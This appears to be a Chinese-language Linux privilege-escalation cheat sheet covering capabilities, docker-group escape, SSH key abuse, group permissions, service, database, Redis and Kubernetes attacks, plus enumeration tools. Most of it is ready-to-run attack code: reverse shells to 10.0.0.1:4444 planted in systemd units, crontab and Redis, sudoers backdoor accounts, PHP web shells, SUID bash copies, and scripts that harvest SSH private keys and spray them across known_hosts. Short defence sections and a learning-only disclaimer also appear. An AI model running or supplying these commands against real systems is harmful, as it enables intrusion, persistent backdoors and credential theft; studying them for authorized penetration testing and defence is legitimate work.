CAP_DAC_READ_SEARCH 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 cat > /tmp/reader.c <<'EOF' int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open" ); return 1; } char buf[4096]; ssize_t n; while ((n = read(fd, buf, sizeof(buf))) > 0) { write(STDOUT_FILENO, buf, n); } close(fd); return 0; } EOF gcc -o /tmp/reader /tmp/reader.c sudo setcap cap_dac_read_search+ep /tmp/reader/tmp/reader /etc/shadow
CAP_NET_RAW 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 cat > /tmp/raw_sock.c <<'EOF' int main () { int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sock < 0) { perror("socket" ); return 1; } printf ("Raw socket created with CAP_NET_RAW\n" ); // 可以进行 ARP 欺骗、数据包嗅探等 // 例如:监听网络流量 close(sock); return 0; } EOF gcc -o /tmp/raw_sock /tmp/raw_sock.c sudo setcap cap_net_raw+ep /tmp/raw_sock./tmp/raw_sock
Python 能力利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 python3 <<'EOF' import ctypes libc = ctypes.CDLL("libc.so.6" ) libc.setuid(0) libc.setgid(0) ctypes.CDLL("libc.so.6" ).system("/bin/bash" ) EOF
组合能力利用 1 2 3 4 5 6 7 8 CAP_SETUID + CAP_SETGID → 完整提权 CAP_SYS_ADMIN + CAP_NET_ADMIN → 网络控制 CAP_DAC_OVERRIDE + CAP_DAC_READ_SEARCH → 完全文件访问 getcap -v /path/to/filegetcap --all -r / 2>/dev/null
防御措施 1 2 3 4 5 6 7 8 9 10 11 12 getcap -r / 2>/dev/nullsudo setcap -r /path/to/filesudo setcap cap_net_bind_service+ep /path/to/filefind / -type f -exec getcap {} \; 2>/dev/null | grep -E "cap_setuid|cap_sys_admin"
Docker 组提权 如果普通用户属于 docker 组,则无需 sudo 即可运行 Docker 容器。Docker 容器默认拥有与宿主机共享的文件系统访问权限,攻击者可以通过挂载宿主机根目录或利用 Docker 特权容器实现逃逸,获得宿主机 root 权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 groups id getent group docker cat /etc/group | grep dockerdocker --version which dockerdocker ps docker images id -Gn
攻击手法 方法1: 挂载根目录 1 2 3 4 5 6 7 8 9 10 11 12 docker run -it -v /:/mnt ubuntu chroot /mnt /bin/bash docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash docker run -it -v /:/mnt alpine /bin/sh cd /mntls -la /etc/shadowcat /etc/shadow
方法2: 复制 SUID 文件 1 2 3 4 docker run -v /tmp:/mnt ubuntu cp /bin/bash /mnt/rootbash chmod 4755 /tmp/rootbash/tmp/rootbash -p
方法3: 修改文件权限 1 2 3 4 5 docker run -it -v /:/host ubuntu chroot /host /bin/bash chmod 777 /etc/shadow
方法4: 写入 SSH 公钥 1 2 3 4 5 6 7 8 cat ~/.ssh/id_rsa.pubdocker run -it -v /:/host ubuntu /bin/bash -c "mkdir -p /host/root/.ssh && echo 'ssh-rsa AAAA...' > /host/root/.ssh/authorized_keys" ssh root@localhost
方法5: 添加 sudo 用户 1 2 3 4 5 6 7 8 9 10 11 12 13 docker run -it -v /:/host ubuntu chroot /host /bin/bash echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoersuseradd -m -s /bin/bash hacker echo "hacker:password" | chpasswdecho "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoerssu - hacker sudo su -
方法6: 创建 systemd service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 docker run -it -v /:/host ubuntu /bin/bash -c "cat > /host/etc/systemd/system/backdoor.service <<'EOF' [Unit] Description=Backdoor Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' Restart=always [Install] WantedBy=multi-user.target EOF" docker run -it -v /:/host ubuntu chroot /host /bin/bash -c "systemctl enable backdoor.service" docker run -it -v /:/host ubuntu chroot /host /bin/bash -c "systemctl start backdoor.service"
方法7: 添加 crontab 任务 1 2 3 4 5 docker run -it -v /:/host ubuntu /bin/bash -c "echo '* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /host/etc/crontab" docker run -it -v /:/host ubuntu chroot /host /bin/bash -c "su - hacker -c 'echo \"* * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\" | crontab -'"
方法8: Docker Socket 挂载 1 2 3 4 5 6 docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash docker ps docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash
方法9: 特权容器逃逸 1 2 3 4 5 6 7 8 9 docker run --privileged -it ubuntu /bin/bash mount -t debugfs /sys/kernel/debug /sys/kernel/debug cd /host
方法10: 使用现有容器 1 2 3 4 5 6 7 8 9 docker ps -a docker exec -it <container_id> /bin/bash docker cp /tmp/evil.sh <container_id>:/tmp/ docker exec <container_id> sh /tmp/evil.sh
组合攻击 - 一键脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 cat > /tmp/docker_privesc.sh <<'EOF' echo "[*] Checking docker access..." docker ps > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "[+] Docker access confirmed!" else echo "[-] No docker access" exit 1 fi echo "[*] Method 1: Mount host root directory" docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash -c "whoami" echo "[*] Method 2: Create SUID bash" docker run -it --rm -v /tmp:/mnt ubuntu /bin/bash -c "cp /bin/bash /mnt/rootbash && chmod 4755 /mnt/rootbash" if [ -x /tmp/rootbash ]; then echo "[+] SUID bash created at /tmp/rootbash" /tmp/rootbash -p else echo "[-] Failed to create SUID bash" fi echo "[*] Method 3: Write SSH key" if [ -f ~/.ssh/id_rsa.pub ]; then PUB_KEY=$(cat ~/.ssh/id_rsa.pub) docker run -it --rm -v /:/host ubuntu /bin/bash -c "mkdir -p /host/root/.ssh && echo '$PUB_KEY ' >> /host/root/.ssh/authorized_keys" echo "[+] SSH key added to authorized_keys" fi echo "[*] Done!" EOF chmod +x /tmp/docker_privesc.sh/tmp/docker_privesc.sh
检测与防御 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 getent group docker grep -E "^docker:" /etc/group journalctl -u docker docker ps --format "{{.ID}} {{.Mounts}}" sudo usermod -G "" usernamesudo deluser username dockersudo chmod 660 /var/run/docker.sock{ "userns-remap" : "default" }
SSH 密钥与登录提权 SSH(Secure Shell)密钥认证允许用户无需密码即可登录系统。如果私钥泄露、配置不当或权限设置错误,攻击者可以利用 SSH 密钥获得未授权访问,进而提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 cat /etc/ssh/sshd_configls -la /etc/ssh/ls -la ~/.ssh/ 2>/dev/nullls -la /home/*/.ssh/ 2>/dev/nullfind / -name "id_rsa*" -type f 2>/dev/null find / -name "*.pem" -type f 2>/dev/null cat ~/.ssh/authorized_keys 2>/dev/nullcat /home/*/.ssh/authorized_keys 2>/dev/nullps aux | grep sshd netstat -tlnp | grep :22 last lastb who w
攻击手法 读取私钥 1 2 3 4 5 6 7 8 9 10 11 12 13 find / -name "id_rsa" -type f -exec cat {} \; 2>/dev/null find / -name "*.pem" -type f -exec cat {} \; 2>/dev/null cat ~/.ssh/id_rsacat /home/user/.ssh/id_rsacat /root/.ssh/id_rsacat /etc/ssh/ssh_host_rsa_keyhead -5 ~/.ssh/id_rsa
利用私钥登录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ssh -i id_rsa user@target_ip ssh -i /path/to/id_rsa root@192.168.1.100 ssh -i id_rsa -p 2222 user@target_ip cat > /tmp/id_rsa <<'EOF' -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA... -----END RSA PRIVATE KEY----- EOF chmod 600 /tmp/id_rsassh -i /tmp/id_rsa root@target
添加授权密钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 cat ~/.ssh/id_rsa.pubssh-keygen -y -f ~/.ssh/id_rsa > /tmp/id_rsa.pub cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keyscat /tmp/id_rsa.pub >> /home/user/.ssh/authorized_keysmkdir -p ~/.sshchmod 700 ~/.sshecho "ssh-rsa AAAA..." > ~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keyscat /tmp/id_rsa.pub >> /root/.ssh/authorized_keysssh root@localhost
修改 SSH 配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat >> /etc/ssh/sshd_config <<'EOF' PermitRootLogin yes PasswordAuthentication yes PubkeyAuthentication yes EOF systemctl restart sshd service ssh restart sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
SSH 配置劫持 1 2 3 4 5 6 7 8 9 10 11 12 cat > ~/.ssh/config <<'EOF' Host target HostName 192.168.1.100 User root IdentityFile ~/.ssh/id_rsa UserKnownHostsFile /dev/null StrictHostKeyChecking no EOF ssh target
SSH Forward 隧道 1 2 3 4 5 6 7 8 9 10 11 12 ssh -L 8080:localhost:22 -N user@remote ssh -R 8080:localhost:22 -N user@remote ssh -D 1080 user@remote ssh -i id_rsa -L 3306:localhost:3306 -N root@target
利用 known_hosts 1 2 3 4 5 6 7 8 9 cat ~/.ssh/known_hostswhile read line; do host=$(echo $line | awk '{print $1}' ) echo "Attempting: $host " ssh -o ConnectTimeout=2 -o StrictHostKeyChecking=no root@$host "whoami" done < ~/.ssh/known_hosts
SSH Agent 转发攻击 1 2 3 4 5 6 7 8 ps aux | grep ssh-agent ls -la /tmp/ssh-*export SSH_AUTH_SOCK=/tmp/ssh-XXX/agent.XXXssh-add -l ssh root@target
暴力破解 SSH 1 2 3 4 5 6 7 8 9 10 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip msfconsole use auxiliary/scanner/ssh/ssh_login set RHOSTS target_ipset USERNAME rootset PASS_FILE /usr/share/wordlists/rockyou.txtrun
SSH 后门 1 2 3 4 5 6 7 8 9 10 useradd -m -s /bin/bash admin echo "admin:password" | chpasswdecho "admin ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoersecho "auth sufficient pam_rootok.so" >> /etc/pam.d/common-auth
组合攻击 - 自动化脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 cat > /tmp/ssh_privesc.sh <<'EOF' echo "[*] Collecting SSH keys..." mkdir -p /tmp/ssh_keysfind / -name "id_rsa" -type f -exec cp {} /tmp/ssh_keys/ \; 2>/dev/null find / -name "*.pem" -type f -exec cp {} /tmp/ssh_keys/ \; 2>/dev/null echo "[*] Found keys:" ls -la /tmp/ssh_keys/for key in /tmp/ssh_keys/*; do if [ -f "$key " ]; then echo "[*] Extracting public key from $key " ssh-keygen -y -f "$key " > "${key} .pub" 2>/dev/null fi done echo "[*] Adding to authorized_keys..." mkdir -p ~/.ssh 2>/dev/nullcat /tmp/ssh_keys/*.pub >> ~/.ssh/authorized_keys 2>/dev/nullchmod 600 ~/.ssh/authorized_keys 2>/dev/nullif [ -w /root/.ssh/authorized_keys ]; then cat /tmp/ssh_keys/*.pub >> /root/.ssh/authorized_keys fi if [ -f ~/.ssh/known_hosts ]; then echo "[*] Testing connections from known_hosts..." while read line; do host=$(echo $line | awk '{print $1}' ) echo "[*] Testing: $host " timeout 3 ssh -o ConnectTimeout=2 -o StrictHostKeyChecking=no root@$host "echo '[+] Success on $host '; id" & done < ~/.ssh/known_hosts wait fi echo "[*] Done! Check /tmp/ssh_keys/ for collected keys" EOF chmod +x /tmp/ssh_privesc.sh/tmp/ssh_privesc.sh
防御措施 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 chmod 700 ~/.sshchmod 600 ~/.ssh/id_rsachmod 644 ~/.ssh/id_rsa.pubchmod 600 ~/.ssh/authorized_keysecho "PermitRootLogin no" >> /etc/ssh/sshd_configecho "PasswordAuthentication no" >> /etc/ssh/sshd_configecho "AllowUsers user1 user2" >> /etc/ssh/sshd_configecho "AllowGroups sshusers" >> /etc/ssh/sshd_configecho "StrictModes yes" >> /etc/ssh/sshd_configapt install fail2ban systemctl enable fail2ban systemctl start fail2ban
组权限与文件共享提权 Linux 系统使用组来管理用户权限。如果用户被分配到高权限组(如 wheel、admin、sudo),或者敏感文件/目录设置了不当的组权限,攻击者可以利用组权限进行提权。
组
用途
危险度
root
root 组成员
极高
wheel
可使用 sudo
高
sudo
可使用 sudo
高
admin
管理员组
高
shadow
可读取 shadow
极高
adm
可读取日志文件
中
staff
系统管理
中
docker
Docker 访问
高
信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 groups id id -Gngetent group cat /etc/groupgetent group sudo getent group wheel getent group docker ls -la /etc/passwd /etc/shadowls -la /var/log/ls -la /var/www/find / -type f -perm -g+w 2>/dev/null find / -type f -perm -o+w 2>/dev/null
攻击手法 wheel/sudo 组提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 groups | grep -E "sudo|wheel" id | grep -E "sudo|wheel" sudo su -sudo bashsudo -isudo -lsudo /bin/bashsudo -u root /bin/bash
shadow 组提权 1 2 3 4 5 6 7 8 9 10 11 12 13 groups | grep shadowcat /etc/shadowjohn /etc/shadow unshadow /etc/passwd /etc/shadow > passwords.txt john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt hashcat -m 1800 -a 0 /etc/shadow /usr/share/wordlists/rockyou.txt
adm 组(日志读取) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 groups | grep admgrep -i "password\|pass\|secret" /var/log/auth.log grep -i "password\|pass\|secret" /var/log/syslog journalctl -n 100 | grep -i "password" grep -i "sudo\|su" /var/log/auth.log journalctl --user journalctl _UID=1000
staff 组(系统文件) 1 2 3 4 5 6 7 8 9 10 groups | grep stafffind / -type f -group staff -perm -g+w 2>/dev/null find /usr/local -type f -perm -g+w 2>/dev/null ls -la /usr/local/bin/echo "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash" >> /usr/local/bin/cleanup.sh
组可写目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 find / -type d -perm -g+w 2>/dev/null ls -la /var/www/uploads/ls -la /tmp/ls -la /var/tmp/echo "<?php system(\$_GET['cmd']); ?>" > /var/www/shell.phpcat > /var/www/shell.php <<'EOF' <?php if (isset($_REQUEST ['cmd' ])){ echo "<pre>" ; system($_REQUEST ['cmd' ]); echo "</pre>" ; } ?> EOF
组可执行文件 1 2 3 4 5 6 7 8 9 find / -type f -perm -g+s 2>/dev/null ls -la /usr/bin/passwdls -la /usr/bin/sudo./sgid_program
NFS 共享提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 showmount -e localhost showmount -e target_ip mkdir /tmp/nfsmount -t nfs target_ip:/export /tmp/nfs ls -la /tmp/nfscp /bin/bash /tmp/nfs/rootbashchmod 4755 /tmp/nfs/rootbash
共享内存/命名管道 1 2 3 4 5 6 7 8 ipcs -m find / -type p 2>/dev/null echo "malicious command" > /tmp/pipe
组权限劫持脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 cat > /tmp/group_privesc.sh <<'EOF' echo "[*] Collecting group information..." groups > /tmp/my_groupsecho "[*] Current groups: $(cat /tmp/my_groups) " echo "[*] Checking for high-privilege groups..." HIGH_GROUPS="root wheel sudo admin shadow docker" for group in $HIGH_GROUPS ; do if grep -q "$group " /tmp/my_groups; then echo "[+] Found high-privilege group: $group " fi done echo "[*] Searching for group-writable files..." find / -type f -perm -g+w 2>/dev/null > /tmp/group_writable_files cat /tmp/group_writable_filesecho "[*] Checking for SGID files..." find / -type f -perm -g+s 2>/dev/null > /tmp/sgid_files cat /tmp/sgid_filesif grep -q shadow /tmp/my_groups; then echo "[*] Can read /etc/shadow!" cat /etc/shadow | head -3 fi if grep -q -E "sudo|wheel" /tmp/my_groups; then echo "[*] Trying sudo access..." sudo -l 2>/dev/null fi if grep -q docker /tmp/my_groups; then echo "[*] Found docker group - use Docker privesc methods" fi echo "[*] Done!" EOF chmod +x /tmp/group_privesc.sh/tmp/group_privesc.sh
防御措施 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 getent group wheel getent group sudo getent group shadow sudo deluser username wheelsudo gpasswd -d username sudo chmod 750 /var/logchmod 640 /var/log/*.log find / -type f -perm -g+w -exec chmod g-w {} \; find / -type d -perm -g+w -exec chmod g-w {} \; chattr +i /etc/passwd chattr +i /etc/shadow
服务与网络提权 系统服务和网络配置不当可能导致提权。包括服务配置错误、未授权的网络访问、服务重启漏洞、数据库提权等。
服务重启劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 systemctl list-units --type =service service --status-all systemctl cat <service_name> cat > /tmp/malicious.service <<'EOF' [Unit] Description=Malicious Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' Restart=always [Install] WantedBy=multi-user.target EOF cp /tmp/malicious.service /etc/systemd/system/systemctl daemon-reload systemctl enable malicious systemctl start malicious
数据库提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mysql -u root -p SELECT * FROM information_schema.tables INTO OUTFILE '/tmp/shell.php' LINES TERMINATED BY '<?php system($_GET[cmd]); ?>' ; SELECT * FROM mysql.func; SELECT do_system('chmod 4755 /tmp/rootbash' ); psql -U postgres COPY (SELECT '<?php system($_GET[cmd]); ?>' ) TO '/tmp/shell.php' ; COPY program FROM PROGRAM '/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Redis 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 redis-cli -h target CONFIG GET dir CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SET x "\n\n\n ssh-rsa AAAA... \n\n\n" SAVE CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SET x "\n\n* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n" SAVE
NFS Exportfs 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 showmount -e target mkdir /tmp/nfsmount -t nfs target:/export /tmp/nfs mount | grep nfs cp /bin/bash /tmp/nfs/rootbashchmod 4755 /tmp/nfs/rootbash
网络服务监听 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 netstat -tlnp ss -tlnp lsof -iTCP -sTCP:LISTEN -nP ss -tlnp | grep -v "127.0.0.1" curl http://localhost:8080 telnet localhost 25 ssh -L 3306:localhost:3306 user@target mysql -h 127.0.0.1 -P 3306 -u root -p
Samba 提权 1 2 3 4 5 6 7 8 9 10 11 smbclient -L target smbclient //target/share smbget -R smb://target/share smbclient //target/share -c "put shell.php"
网络配置劫持 1 2 3 4 5 6 7 8 9 10 ip route ip addr cat /etc/network/interfacescat /etc/sysconfig/network-scripts/ifcfg-*echo "* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" >> /etc/network/interfacesip route add default via 10.0.0.1
Docker Registry 提权 1 2 3 4 5 6 7 8 9 curl http://target:5000/v2/_catalog curl http://target:5000/v2/<image>/tags/list docker pull target:5000/<image> docker run -it --rm target:5000/<image> /bin/bash
Kubernetes 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 kubectl auth can-i --list kubectl get pods kubectl get secrets kubectl run -it --rm shell --image=alpine --restart=Never -- sh kubectl run -it --rm shell --image=alpine --overrides=' { "spec": { "hostPID": true, "containers": [{ "name": "shell", "image": "alpine", "command": ["nsenter", "-t", "1", "-m", "-u", "-n", "-i", "--", "sh"], "securityContext": { "privileged": true } }] } }' -- sh
常用提权辅助工具 LinPEAS Linux Privilege Escalation Awesome Script(LinPEAS)是最全面的提权检查脚本之一,能够自动扫描系统中的潜在提权点。
1 2 3 4 5 6 7 8 9 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64 chmod +x linpeas_linux_amd64./linpeas_linux_amd64 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64 -o linpeas chmod +x linpeas./linpeas
Linux Exploit Suggester 自动检测内核版本并建议可能存在的漏洞利用程序。
1 2 3 4 5 6 7 8 9 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh./linux-exploit-suggester.sh ./linux-exploit-suggester.sh -k 4.4.0-31-generic
GTFOBins 查询 Unix 二进制文件如何被用于绕过安全限制的在线数据库。
1 2 git clone https://github.com/GTFOBins/GTFOBins.github.io.git cd GTFOBins.github.io
pspy 无需 root 权限监控进程和命令执行的工具,对于发现定时任务和后台进程非常有用。
1 2 3 4 5 6 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod +x pspy64./pspy64
LinEnum 另一个常用的 Linux 提权枚举脚本,适合快速扫描。
1 2 3 4 5 6 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x LinEnum.sh./LinEnum.sh
Sherlock Python 编写的提权扫描工具,适合在已有 Python 环境的系统上使用。
1 2 3 4 5 wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/sherlock.py python2 sherlock.py
使用建议
按顺序使用 :建议先运行 LinPEAS 或 LinEnum 进行全面扫描
关注结果 :重点查看红色标记的项目
结合手动 :工具只是辅助,还需要手动验证和利用
保持更新 :这些工具更新频繁,定期获取最新版本
免责声明 :本文内容仅供学习和研究目的,请勿用于非法用途。所有实验请在授权环境中进行。